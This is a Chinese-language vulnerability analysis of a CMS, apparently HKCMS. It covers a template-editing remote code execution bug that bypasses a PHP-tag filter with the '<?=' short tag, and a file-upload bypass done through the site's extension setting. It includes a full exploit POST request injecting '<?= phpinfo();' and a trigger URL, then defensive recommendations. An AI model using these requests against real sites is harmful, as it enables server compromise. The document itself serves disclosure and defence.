某cms的漏洞分析
字数 984 2025-08-29 08:30:13

某CMS漏洞分析与利用教学文档

漏洞概述

该CMS存在两个关键漏洞:

  1. 模板文件编辑导致的远程代码执行(RCE)漏洞 - 通过绕过模板编辑限制实现
  2. 文件上传漏洞 - 通过修改站点配置实现恶意文件上传

漏洞1:模板编辑RCE漏洞分析

漏洞原理

该漏洞源于Appcenter.php中的模板编辑功能存在限制绕过问题。虽然系统禁止直接编辑PHP模板文件,但攻击者可以通过修改HTML模板文件并插入PHP代码来实现RCE。

关键代码分析

模板渲染流程

  1. show方法(位于控制器中):
public function show() {
    // ...省略其他代码...
    $template = explode(".", $info['show_tpl'], 2);
    return $this->view->fetch('show/'.$template[0]);
}
  • 最终调用fetch方法渲染模板
  1. fetch方法
public function fetch(string $template = '', array $vars = []): string {
    return $this->getContent(function () use ($vars, $template) {
        $this->engine()->fetch($template, array_merge($this->data, $vars));
    });
}
  1. 底层fetch实现
public function fetch(string $template, array $vars = []): void {
    // ...省略其他代码...
    $template = $this->parseTemplateFile($template);
    if ($template) {
        $cacheFile = $this->config['cache_path'] . $this->config['cache_prefix'] . md5($this->config['layout_on'] . $this->config['layout_name'] . $template) . '.' . ltrim($this->config['cache_suffix'], '.');
        if (!$this->checkCache($cacheFile)) {
            // 缓存无效 重新模板编译
            $content = file_get_contents($template);
            $this->compiler($content, $cacheFile);
        }
        // ...省略其他代码...
    }
}
  • 关键点:当模板文件被修改后,会触发file_get_contents读取模板内容并重新编译缓存

模板编辑限制

editTheme方法中的过滤逻辑:

if (!empty($content) && $pathinfo['extension']=='html') {
    // 限制html里面的php相关代码提交
    if (preg_match('#<([^?]*)\?php#i', $content) || 
        (preg_match('#<\?#i', $content) && preg_match('#\?>#i', $content)) ||
        preg_match('#\{php#i', $content) ||
        preg_match('#\{:phpinfo#i', $content)
    ) {
        $this->error(__('Warning: The template has PHP syntax. For safety, please upload it after modifying it in the local editing tool'));
    }
}
  • 过滤了常规PHP标签(<?php, <? ?>)和模板中的PHP语法
  • 可绕过方式:使用PHP短标签<?=(未被过滤)

漏洞利用步骤

  1. 构造恶意请求修改模板
POST /admin.php/appcenter/editTheme.html HTTP/1.1
Host: 127.0.0.1
Content-Type: application/x-www-form-urlencoded
Cookie: admin_hkcms_lang=zh-cn; HKCMSSESSID=782e7fb254634e9af27235e16ab1dec1

name=default&t=tpl&old=show_product.html&old_path=%2Fshow&path=%2Fshow&filename=show_product.html&content=%3C%3F%3D+phpinfo()%3B%0D%0A&__token__=dc7587409140c54150e9c3245c4503eb
  • show_product.html内容修改为<?= phpinfo();
  1. 访问触发页面
http://127.0.0.1/index.php/index/show?id=62&catname=wc
  • 系统会渲染修改后的模板,执行其中的PHP代码

漏洞2:文件上传漏洞分析

漏洞原理

系统上传功能允许通过修改站点配置来控制上传文件的后缀名,攻击者可利用此功能上传恶意PHP文件。

关键代码分析

上传功能受站点配置控制,上传后的文件后缀以config配置为主。默认情况下,上传目录中的.htaccess文件会阻止PHP文件的执行:

# 禁止访问所有 .html 和 .php 文件
<FilesMatch "\.(html|php)$">
    Deny from all
</FilesMatch>

漏洞利用步骤

  1. 修改站点配置
  • 将上传文件后缀配置修改为允许.php
  1. 上传恶意文件
  • 上传一个包含恶意代码的PHP文件
  1. 访问上传的文件
  • 由于配置已修改,.htaccess的限制被绕过,可以正常执行上传的PHP文件

防护建议

  1. 针对模板编辑RCE漏洞

    • 在模板编辑过滤中增加对PHP短标签的检测
    • 禁止在HTML模板中执行任何PHP代码
    • 实现更严格的模板内容验证机制
  2. 针对文件上传漏洞

    • 固定上传文件的后缀名,不允许通过配置修改
    • 对上传文件内容进行严格检查,防止文件伪装
    • 保持上传目录的执行限制,不因配置改变而失效
  3. 通用防护措施

    • 实施严格的权限控制,限制后台功能的访问
    • 定期进行安全审计和代码审查
    • 保持系统更新,及时修补已知漏洞
某CMS漏洞分析与利用教学文档 漏洞概述 该CMS存在两个关键漏洞: 模板文件编辑导致的远程代码执行(RCE)漏洞 - 通过绕过模板编辑限制实现 文件上传漏洞 - 通过修改站点配置实现恶意文件上传 漏洞1:模板编辑RCE漏洞分析 漏洞原理 该漏洞源于 Appcenter.php 中的模板编辑功能存在限制绕过问题。虽然系统禁止直接编辑PHP模板文件,但攻击者可以通过修改HTML模板文件并插入PHP代码来实现RCE。 关键代码分析 模板渲染流程 show方法 (位于控制器中): 最终调用 fetch 方法渲染模板 fetch方法 : 底层fetch实现 : 关键点 :当模板文件被修改后,会触发 file_get_contents 读取模板内容并重新编译缓存 模板编辑限制 editTheme 方法中的过滤逻辑: 过滤了常规PHP标签( <?php , <? ?> )和模板中的PHP语法 可绕过方式 :使用PHP短标签 <?= (未被过滤) 漏洞利用步骤 构造恶意请求修改模板 : 将 show_product.html 内容修改为 <?= phpinfo(); 访问触发页面 : 系统会渲染修改后的模板,执行其中的PHP代码 漏洞2:文件上传漏洞分析 漏洞原理 系统上传功能允许通过修改站点配置来控制上传文件的后缀名,攻击者可利用此功能上传恶意PHP文件。 关键代码分析 上传功能受站点配置控制,上传后的文件后缀以config配置为主。默认情况下,上传目录中的 .htaccess 文件会阻止PHP文件的执行: 漏洞利用步骤 修改站点配置 : 将上传文件后缀配置修改为允许 .php 上传恶意文件 : 上传一个包含恶意代码的PHP文件 访问上传的文件 : 由于配置已修改, .htaccess 的限制被绕过,可以正常执行上传的PHP文件 防护建议 针对模板编辑RCE漏洞 : 在模板编辑过滤中增加对PHP短标签的检测 禁止在HTML模板中执行任何PHP代码 实现更严格的模板内容验证机制 针对文件上传漏洞 : 固定上传文件的后缀名,不允许通过配置修改 对上传文件内容进行严格检查,防止文件伪装 保持上传目录的执行限制,不因配置改变而失效 通用防护措施 : 实施严格的权限控制,限制后台功能的访问 定期进行安全审计和代码审查 保持系统更新,及时修补已知漏洞